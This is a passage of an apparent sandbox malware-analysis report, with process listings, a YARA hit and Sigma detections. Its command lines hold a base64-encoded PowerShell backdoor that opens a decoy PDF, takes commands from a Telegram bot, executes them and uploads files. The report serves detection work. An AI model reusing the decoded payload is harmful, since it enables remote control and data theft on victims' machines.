ARABpAHMAcABvAHMAaQB0AGkAbwBuACAAPQAgACQARgBpAGwAZQBIAGUAYQBkAGUAcgANAAoAIAAgACAAIAAkAEYAaQBsAGUAQwBvAG4AdABlAG4AdAAuAEgAZQBhAGQAZQByAHMALgBDAG8AbgB0AGUAbgB0AFQAeQBwAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFcAZQBiAC4ATQBpAG0AZQBNAGEAcABwAGkAbgBnAF0AOgA6AEcAZQB0AE0AaQBtAGUATQBhAHAAcABpAG4AZwAoACQARgBpAGwAZQBQAGEAdABoACkAIAANAAoAIAAgACAAIAANAAoAIAAgACAAIAAkAE0AdQBsAHQAaQBwAGEAcgB0AEMAbwBuAHQAZQBuAHQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4ASAB0AHQAcAAuAE0AdQBsAHQAaQBwAGEAcgB0AEYAbwByAG0ARABhAHQAYQBDAG8AbgB0AGUAbgB0AF0AOgA6AG4AZQB3ACgAKQANAAoAIAAgACAAIAAkAE0AdQBsAHQAaQBwAGEAcgB0AEMAbwBuAHQAZQBuAHQALgBBAGQAZAAoACQARgBpAGwAZQBDAG8AbgB0AGUAbgB0ACkADQAKACAAIAAgACAADQAKACAAIAAgACAAJABoAHQAdABwAEMAbABpAGUAbgB0AC4AUABvAHMAdABBAHMAeQBuAGMAKAAiACQAVQBSAEwALwBzAGUAbgBkAEQAbwBjAHUAbQBlAG4AdAA/AGMAaABhAHQAXwBpAGQAPQAkAGYAcgBvAG0AIgAsACAAJABNAHUAbAB0AGkAcABhAHIAdABDAG8AbgB0AGUAbgB0ACkAIAA+ACAAJABuAHUAbABsAA0ACgB9AA0ACgANAAoAdwBoAGkAbABlACAAKAAkAHQAcgB1AGUAKQAgAHsADQAKACAAIAAgACAAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgACQAaQBuAE0AZQBzAHMAYQBnAGUAIAA9ACAASQBuAHYAbwBrAGUALQBSAGUAcwB0AE0AZQB0AGgAbwBkACAALQBNAGUAdABoAG8AZAAgAEcAZQB0ACAALQBVAHIAaQAgACgAJABVAFIATAAgACsAJwAvAGcAZQB0AFUAcABkAGEAdABlAHMAPwBvAGYAZgBzAGUAdAA9ACcAIAArACAAKAAkAGwAYQBzAHQASQBEACAAKwAgADEAKQApACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAHQAbwBwAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAYwBhAHQAYwBoACAAewANAAoAIAAgACAAIAAgACAAIAAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgACQAKABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBNAGEAeABpAG0AdQBtACAAMQAwACkAIAANAAoAIAAgACAAIAAgACAAIAAgAGMAbwBuAHQAaQBuAHUAZQANAAoAIAAgACAAIAB9AA0ACgAgACAAIAAgACQAaQBuAE0AZQBzAHMAYQBnAGUALgByAGUAcwB1AGwAdAAgAHwAIABGAG8AcgBFAGEAYwBoAC0ATwBiAGoAZQBjAHQAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAJAB1AHAAZABhAHQAZQBpAGQAIAA9ACAAJABfAC4AdQBwAGQAYQB0AGUAXwBpAGQADQAKACAAIAAgACAAIAAgACAAIAAkAGYAcgBvAG0AIAA9ACAAJABfAC4AbQBlAHMAcwBhAGcAZQAuAGYAcgBvAG0ALgBpAGQADQAKACAAIAAgACAAIAAgACAAIAAkAGMAbwBtAG0AYQBuAGQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAXwAuAG0AZQBzAHMAYQBnAGUALgB0AGUAeAB0ACkAKQANAAoADQAKACAAIAAgACAAIAAgACAAIABpAGYAKAAkAGMAbwBtAG0AYQBuAGQALgBTAHUAYgBzAHQAcgBpAG4AZwAoADAALAAgADYAKQAgAC0AZQBxACAAIgAvAHMAbABlAGUAcAAiACkAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABzAGwAZQBlAHAAVABpAG0AZQAgAD0AIABbAGkAbgB0AF0AJABjAG8AbQBtAGEAbgBkAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAA3ACkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAZQBsAHMAZQBpAGYAKAAkAGMAbwBtAG0AYQBuAGQALgBTAHUAYgBzAHQAcgBpAG4AZwAoADAALAAgADQAKQAgAC0AZQBxACAAIgAvAGMAbQBkACIAKQB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGMAbwBtAG0AYQBuAGQAIAA9ACAAJABjAG8AbQBtAGEAbgBkAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAA1ACkAIAAgACAAIAAgACAAIAAgACAAIAAgACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AQgBvAHQAQwBtAGQAIAAtAGMAbwBtAG0AYQBuAGQAIAAkAGMAbwBtAG0AYQBuAGQADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAZQBsAHMAZQBpAGYAKAAkAGMAbwBtAG0AYQBuAGQALgBTAHUAYgBzAHQAcgBpAG4AZwAoADAALAAgADkAKQAgAC0AZQBxACAAIgAvAGQAbwB3AG4AbABvAGEAZAAiACkAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABGAGkAbABlAFAAYQB0AGgAIAA9ACAAJABjAG8AbQBtAGEAbgBkAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAxADAAKQAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAEIAbwB0AEQAbwB3AG4AbABvAGEAZAAgAC0ARgBpAGwAZQBQAGEAdABoACAAJABGAGkAbABlAFAAYQB0AGgAIAAgACAAIAANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAAIAAgACAAIABlAGwAcwBlACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABjAG0AZAAgAD0AIAAkAGMAbwBtAG0AYQBuAGQALgBTAHUAYgBzAHQAcgBpAG4AZwAoADEALAAgADUAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACgAJABpAGQAZQBuAHQAaQBmAGkAZQByACAALQBlAHEAIAAkAGMAbQBkACkAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGMAbwBtAG0AYQBuAGQAIAA9ACAAJABjAG8AbQBtAGEAbgBkAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAA3ACkADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAASQBuAHYAbwBrAGUALQBCAG8AdABDAG0AZAAgAC0AYwBvAG0AbQBhAG4AZAAgACQAYwBvAG0AbQBhAG4AZAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAZQBsAHMAZQAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAVwByAGkAdABlAC0ASABvAHMAdAAgACIAUwBMAEUARQBQACIADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAAJAAoAEcAZQB0AC0AUgBhAG4AZABvAG0AIAAtAE0AYQB4AGkAbQB1AG0AIAAxADAAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAAIAAgACAAIAAkAGwAYQBzAHQASQBEACAAPQAgACQAdQBwAGQAYQB0AGUAaQBkACAAIAAgACAAIAAgACAADQAKACAAIAAgACAAfQANAAoAIAAgACAAIABTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAkAHMAbABlAGUAcABUAGkAbQBlAA0ACgB9AA== MD5: 04029E121A0CFA5991749937DD22A1D9)

svchost.exe (PID: 6688 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: powershell.exe PID: 3552	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x10b614:$b3: ::UTF8.GetString( 0x2dc06a:$b3: ::UTF8.GetString( 0x20524:$s1: -join 0x2055f:$s1: -join 0x2061b:$s1: -join 0x20649:$s1: -join 0x20800:$s1: -join 0x20823:$s1: -join 0x20ad8:$s1: -join 0x20af9:$s1: -join 0x20b2b:$s1: -join 0x20b73:$s1: -join 0x20ba0:$s1: -join 0x20bc7:$s1: -join 0x20bf8:$s1: -join 0x20c1a:$s1: -join 0x20c89:$s1: -join 0x21115:$s1: -join 0x21137:$s1: -join 0x2118f:$s1: -join 0x211b9:$s1: -join

Sigma Signatures

System Summary

Sigma detected: PowerShell Base64 Encoded Invoke Keyword

Source: Process started

Author: pH-T (Nextron Systems), Harjot Singh, @cyb3rjy0t: Data: Command: powershell.exe -Command "Start-Process 'C:\Users\user\AppData\Local\Temp\/file.pdf'; powershell.exe -e 'JABUAG8AawBlAG4AIAA9ACAAIgA3ADUANQA0ADMAMAA3ADYANgA5ADoAQQBBAEUAXwBsAG4AUQBUAFkAUwBYAHYAdQBzAGEASwBsAGsAcABOAHIAdgAyAEQAdgBZAHUAQwA3AEgAaABJADAAcwAwACIADQAKACQAVQBSAEwAIAA9ACAAIgBoAHQAdABwAHMAOgAvAC8AYQBwAGkALgB0AGUAbABlAGcAcgBhAG0ALgBvAHIAZwAvAGIAbwB0AHsAMAB9ACIAIAAtAGYAIAAkAFQAbwBrAGUAbgANAAoAJABsAGEAcwB0AEkARAAgAD0AIAAxADIAMwANAAoAJABzAGwAZQBlAHAAVABpAG0AZQAgAD0AIAAyAA0ACgAkAGkAZABlAG4AdABpAGYAaQBlAHIAIAA9ACAALQBqAG8AaQBuACAAKAAoADQAOAAuAC4ANQA3ACkAIAB8ACAARwBlAHQALQBSAGEAbgBkAG8AbQAgAC0AQwBvAHUAbgB0ACAANQAgAHwAIAAlACAAewBbAGMAaABhAHIAXQAkAF8AfQApAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAASQBuAHYAbwBrAGUALQBCAG8AdABDAG0AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACAAKAANAAoAIAAgACAAIAAgACAAIAAgACQAYwBvAG0AbQBhAG4AZAANAAoAIAAgACAAIAApAA0ACgAgACAAIAAgAHQAcgB5ACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAcgBlAHMAdQBsAHQAIAA9ACAASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACgAJABjAG8AbQBtAGEAbgBkACkADQAKACAAIAAgACAAfQANAAoAIAAgACAAIABjAGEAdABjAGgAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAJAByAGUAcwB1AGwAdAAgAD0AIAAkAEUAcgByAG8AcgBbADAAXQAuAEUAeABjAGUAcAB0AGkAbwBuAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAJAByAGUAcwAgAD0AIAAiAFsAJABpAGQAZQBuAHQAaQBmAGkAZQByAF0AJQAwAEQAJQAwAEEAIgANAAoAIAAgACAAIAAkAHIAZQBzAHUAbAB0ACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAJAByAGUAcwAgACsAPQAgAFsAcwB0AHIAaQBuAGcAXQAkAF8AIAArACAAIgAlADAARAAlADAAQQAiAH0ADQAKAA0ACgAgACAAIAAgAGkAZgAoACQAcgBlAHMAIAAtAGUAcQAgACIAIgApAHsADQAKACAAIAAgACAAIAAgACAAIAAkAGwAYQBzAHQASQBEACAAPQAgACQAdQBwAGQAYQB0AGUAaQBkAA0ACgAgACAAIAAgACAAIAAgACAAYwBvAG4AdABpAG4AdQBlAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAaQBmACgAJAByAGUAcwAuAEwAZQBuAGcAdABoACAALQBnAHQAIAA0ADAAOQA1ACkAewANAAoAIAAgACAAIAAgACAAIAAgAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHIAZQBzAC4ATABlAG4AZwB0AGgAIAAvACAANAAwADkANQA7ACAAJABpACsAKwApACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAGUAZwBpAG4AIAA9ACAAJABpACAAKgAgADQAMAA5ADUADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZQBuAGQAIAA9ACAAJABiAGUAZwBpAG4AIAArACAANAAwADkANAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACgAJABlAG4AZAAgAC0AZwB0ACAAJAByAGUAcwAuAEwAZQBuAGcAdABoACkAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGUAbgBkACAAPQAgACQAcgBlAHMALgBMAGUAbgBnAHQAaAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABkAGEAdABhACAAPQAgACIAYwBoAGEAdABfAGkAZAA9ACQAZgByAG8AbQAmAHQAZQB4AHQAPQAiACAAKwAgACQAcgBlAHMAWwAkAGIAZQBnAGkAbgAuAC4AJABlAG4AZABdAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAFUAUgBJACAAPQAgACIAJABVAFIATAAvAHMAZQBuAGQATQBlAHMAcwBhAGcAZQA/ACQAZABhAHQAYQAiAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABVAFIASQAgAD4AIAAkAG4AdQBsAGwADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgAH0AIABlAGwAcwBlACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAZABhAHQAYQAgAD0AIAAiAGMAaABhAHQAXwBpAGQAPQAkAGYAcgBvAG0AJgB0AGUAeAB0AD0AJAByAGUAcwAiACAADQAKACAAIAAgACAAIAAgACAAIAAkAFUAUgBJACAAPQAgACIAJABVAFIATAAvAHMAZQBuAGQATQBlAHMAcwBhAGcAZQA/ACQ

Sigma detected: Suspicious Encoded PowerShell Command Line

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, Anton Kutepov, oscd.community: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e JABUAG8AawBlAG4AIAA9ACAAIgA3ADUANQA0ADMAMAA3ADYANgA5ADoAQQBBAEUAXwBsAG4AUQBUAFkAUwBYAHYAdQBzAGEASwBsAGsAcABOAHIAdgAyAEQAdgBZAHUAQwA3AEgAaABJADAAcwAwACIADQAKACQAVQBSAEwAIAA9ACAAIgBoAHQAdABwAHMAOgAvAC8AYQBwAGkALgB0AGUAbABlAGcAcgBhAG0ALgBvAHIAZwAvAGIAbwB0AHsAMAB9ACIAIAAtAGYAIAAkAFQAbwBrAGUAbgANAAoAJABsAGEAcwB0AEkARAAgAD0AIAAxADIAMwANAAoAJABzAGwAZQBlAHAAVABpAG0AZQAgAD0AIAAyAA0ACgAkAGkAZABlAG4AdABpAGYAaQBlAHIAIAA9ACAALQBqAG8AaQBuACAAKAAoADQAOAAuAC4ANQA3ACkAIAB8ACAARwBlAHQALQBSAGEAbgBkAG8AbQAgAC0AQwBvAHUAbgB0ACAANQAgAHwAIAAlACAAewBbAGMAaABhAHIAXQAkAF8AfQApAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAASQBuAHYAbwBrAGUALQBCAG8AdABDAG0AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACAAKAANAAoAIAAgACAAIAAgACAAIAAgACQAYwBvAG0AbQBhAG4AZAANAAoAIAAgACAAIAApAA0ACgAgACAAIAAgAHQAcgB5ACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAcgBlAHMAdQBsAHQAIAA9ACAASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACgAJABjAG8AbQBtAGEAbgBkACkADQAKACAAIAAgACAAfQANAAoAIAAgACAAIABjAGEAdABjAGgAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAJAByAGUAcwB1AGwAdAAgAD0AIAAkAEUAcgByAG8AcgBbADAAXQAuAEUAeABjAGUAcAB0AGkAbwBuAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAJAByAGUAcwAgAD0AIAAiAFsAJABpAGQAZQBuAHQAaQBmAGkAZQByAF0AJQAwAEQAJQAwAEEAIgANAAoAIAAgACAAIAAkAHIAZQBzAHUAbAB0ACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAJAByAGUAcwAgACsAPQAgAFsAcwB0AHIAaQBuAGcAXQAkAF8AIAArACAAIgAlADAARAAlADAAQQAiAH0ADQAKAA0ACgAgACAAIAAgAGkAZgAoACQAcgBlAHMAIAAtAGUAcQAgACIAIgApAHsADQAKACAAIAAgACAAIAAgACAAIAAkAGwAYQBzAHQASQBEACAAPQAgACQAdQBwAGQAYQB0AGUAaQBkAA0ACgAgACAAIAAgACAAIAAgACAAYwBvAG4AdABpAG4AdQBlAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAaQBmACgAJAByAGUAcwAuAEwAZQBuAGcAdABoACAALQBnAHQAIAA0ADAAOQA1ACkAewANAAoAIAAgACAAIAAgACAAIAAgAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHIAZQBzAC4ATABlAG4AZwB0AGgAIAAvACAANAAwADkANQA7ACAAJABpACsAKwApACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAGUAZwBpAG4AIAA9ACAAJABpACAAKgAgADQAMAA5ADUADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZQBuAGQAIAA9ACAAJABiAGUAZwBpAG4AIAArACAANAAwADkANAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACgAJABlAG4AZAAgAC0AZwB0ACAAJAByAGUAcwAuAEwAZQBuAGcAdABoACkAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGUAbgBkACAAPQAgACQAcgBlAHMALgBMAGUAbgBnAHQAaAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABkAGEAdABhACAAPQAgACIAYwBoAGEAdABfAGkAZAA9ACQAZgByAG8AbQAmAHQAZQB4AHQAPQAiACAAKwAgACQAcgBlAHMAWwAkAGIAZQBnAGkAbgAuAC4AJABlAG4AZABdAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAFUAUgBJACAAPQAgACIAJABVAFIATAAvAHMAZQBuAGQATQBlAHMAcwBhAGcAZQA/ACQAZABhAHQAYQAiAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABVAFIASQAgAD4AIAAkAG4AdQBsAGwADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgAH0AIABlAGwAcwBlACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAZABhAHQAYQAgAD0AIAAiAGMAaABhAHQAXwBpAGQAPQAkAGYAcgBvAG0AJgB0AGUAeAB0AD0AJAByAGUAcwAiACAADQAKACAAIAAgACAAIAAgACAAIAAkAFUAUgBJACAAPQAgACIAJABVAFIATAAvAHMAZQBuAGQATQBlAHMAcwBhAGcAZQA/ACQAZABhAHQAYQAiAA0ACgAgACAAIAAgACAAIAAgACAASQ

Sigma detected: Suspicious PowerShell Encoded Command Patterns

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e JABUAG8AawBlAG4AIAA9ACAAIgA3ADUANQA0ADMAMAA3ADYANgA5ADoAQQBBAEUAXwBsAG4AUQBUAFkAUwBYAHYAdQBzAGEASwBsAGsAcABOAHIAdgAyAEQAdgBZAHUAQwA3AEgAaABJADAAcwAwACIADQAKACQAVQBSAEwAIAA9ACAAIgBoAHQAdABwAHMAOgAvAC8AYQBwAGkALgB0AGUAbABlAGcAcgBhAG0ALgBvAHIAZwAvAGIAbwB0AHsAMAB9ACIAIAAtAGYAIAAkAFQAbwBrAGUAbgANAAoAJABsAGEAcwB0AEkARAAgAD0AIAAxADIAMwANAAoAJABzAGwAZQBlAHAAVABpAG0AZQAgAD0AIAAyAA0ACgAkAGkAZABlAG4AdABpAGYAaQBlAHIAIAA9ACAALQBqAG8AaQBuACAAKAAoADQAOAAuAC4ANQA3ACkAIAB8ACAARwBlAHQALQBSAGEAbgBkAG8AbQAgAC0AQwBvAHUAbgB0ACAANQAgAHwAIAAlACAAewBbAGMAaABhAHIAXQAkAF8AfQApAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAASQBuAHYAbwBrAGUALQBCAG8AdABDAG0AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACAAKAANAAoAIAAgACAAIAAgACAAIAAgACQAYwBvAG0AbQBhAG4AZAANAAoAIAAgACAAIAApAA0ACgAgACAAIAAgAHQAcgB5ACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAcgBlAHMAdQBsAHQAIAA9ACAASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACgAJABjAG8AbQBtAGEAbgBkACkADQAKACAAIAAgACAAfQANAAoAIAAgACAAIABjAGEAdABjAGgAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAJAByAGUAcwB1AGwAdAAgAD0AIAAkAEUAcgByAG8AcgBbADAAXQAuAEUAeABjAGUAcAB0AGkAbwBuAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAJAByAGUAcwAgAD0AIAAiAFsAJABpAGQAZQBuAHQAaQBmAGkAZQByAF0AJQAwAEQAJQAwAEEAIgANAAoAIAAgACAAIAAkAHIAZQBzAHUAbAB0ACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAJAByAGUAcwAgACsAPQAgAFsAcwB0AHIAaQBuAGcAXQAkAF8AIAArACAAIgAlADAARAAlADAAQQAiAH0ADQAKAA0ACgAgACAAIAAgAGkAZgAoACQAcgBlAHMAIAAtAGUAcQAgACIAIgApAHsADQAKACAAIAAgACAAIAAgACAAIAAkAGwAYQBzAHQASQBEACAAPQAgACQAdQBwAGQAYQB0AGUAaQBkAA0ACgAgACAAIAAgACAAIAAgACAAYwBvAG4AdABpAG4AdQBlAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAaQBmACgAJAByAGUAcwAuAEwAZQBuAGcAdABoACAALQBnAHQAIAA0ADAAOQA1ACkAewANAAoAIAAgACAAIAAgACAAIAAgAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHIAZQBzAC4ATABlAG4AZwB0AGgAIAAvACAANAAwADkANQA7ACAAJABpACsAKwApACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAGUAZwBpAG4AIAA9ACAAJABpACAAKgAgADQAMAA5ADUADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAZQBuAGQAIAA9ACAAJABiAGUAZwBpAG4AIAArACAANAAwADkANAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACgAJABlAG4AZAAgAC0AZwB0ACAAJAByAGUAcwAuAEwAZQBuAGcAdABoACkAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGUAbgBkACAAPQAgACQAcgBlAHMALgBMAGUAbgBnAHQAaAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABkAGEAdABhACAAPQAgACIAYwBoAGEAdABfAGkAZAA9ACQAZgByAG8AbQAmAHQAZQB4AHQAPQAiACAAKwAgACQAcgBlAHMAWwAkAGIAZQBnAGkAbgAuAC4AJABlAG4AZABdAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAFUAUgBJACAAPQAgACIAJABVAFIATAAvAHMAZQBuAGQATQBlAHMAcwBhAGcAZQA/ACQAZABhAHQAYQAiAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABVAFIASQAgAD4AIAAkAG4AdQBsAGwADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgAH0AIABlAGwAcwBlACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAZABhAHQAYQAgAD0AIAAiAGMAaABhAHQAXwBpAGQAPQAkAGYAcgBvAG0AJgB0AGUAeAB0AD0AJAByAGUAcwAiACAADQAKACAAIAAgACAAIAAgACAAIAAkAFUAUgBJACAAPQAgACIAJABVAFIATAAvAHMAZQBuAGQATQBlAHMAcwBhAGcAZQA/ACQAZABhAHQAYQAiAA0ACgAgACAAIAAgACAAIAAgACAASQ

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Start-Process 'C:\Users\user\AppData\Local\Temp\/file.pdf'; powershell.exe -e 'JABUAG8AawBlAG4AIAA9ACAAIgA3ADUANQA0ADMAMAA3ADYANgA5ADoAQQBBAEUAXwBsAG4AUQBUAFkAUwBYAHYAdQBzAGEASwBsAGsAcABOAHIAdgAyAEQAdgBZAHUAQwA3AEgAaABJADAAcwAwACIADQAKACQAVQBSAEwAIAA9ACAAIgBoAHQAdABwAHMAOgAvAC8AYQBwAGkALgB0AGUAbABlAGcAcgBhAG0ALgBvAHIAZwAvAGIAbwB0AHsAMAB9ACIAIAAtAGYAIAAkAFQAbwBrAGUAbgANAAoAJABsAGEAcwB0AEkARAAgAD0AIAAxADIAMwANAAoAJABzAGwAZQBlAHAAVABpAG0AZQAgAD0AIAAyAA0ACgAkAGkAZABlAG4AdABpAGYAaQBlAHIAIAA9ACAALQBqAG8AaQBuACAAKAAoADQAOAAuAC4ANQA3ACkAIAB8ACAARwBlAHQALQBSAGEAbgBkAG8AbQAgAC0AQwBvAHUAbgB0ACAANQAgAHwAIAAlACAAewBbAGMAaABhAHIAXQAkAF8AfQApAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAASQBuAHYAbwBrAGUALQBCAG8AdABDAG0AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACAAKAANAAoAIAAgACAAIAAgACAAIAAgACQAYwBvAG0AbQBhAG4AZAANAAoAIAAgACAAIAApAA0ACgAgACAAIAAgAHQAcgB5ACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAcgBlAHMAdQBsAHQAIAA9ACAASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACgAJABjAG8AbQBtAGEAbgBkACkADQAKACAAIAAgACAAfQANAAoAIAAgACAAIABjAGEAdABjAGgAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAJAByAGUAcwB1AGwAdAAgAD0AIAAkAEUAcgByAG8AcgBbADAAXQAuAEUAeABjAGUAcAB0AGkAbwBuAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAJAByAGUAcwAgAD0AIAAiAFsAJABpAGQAZQBuAHQAaQBmAGkAZQByAF0AJQAwAEQAJQAwAEEAIgANAAoAIAAgACAAIAAkAHIAZQBzAHUAbAB0ACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAJAByAGUAcwAgACsAPQAgAFsAcwB0AHIAaQBuAGcAXQAkAF8AIAArACAAIgAlADAARAAlADAAQQAiAH0ADQAKAA0ACgAgACAAIAAgAGkAZgAoACQAcgBlAHMAIAAtAGUAcQAgACIAIgApAHsADQAKACAAIAAgACAAIAAgACAAIAAkAGwAYQBzAHQASQBEACAAPQAgACQAdQBwAGQAYQB0AGUAaQBkAA0ACgAgACAAIAAgACAAIAAgACAAYwBvAG4AdABpAG4AdQBlAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAaQBmACgAJAByAGUAcwAuAEwAZQBuAGcAdABoACAALQBnAHQAIAA0ADAAOQA1ACkAewANAAoAIAAgACAAIAAgACAAIAAgAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHIAZQBzAC4ATABlAG4AZwB0AGgAIAAvACAANAAwADkANQA7ACAAJABpACsAKwApACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAGUAZwBpAG4AIAA9ACAAJABpACAAKgAgADQAMAA5ADUADQAKACAAIAAgACAAIA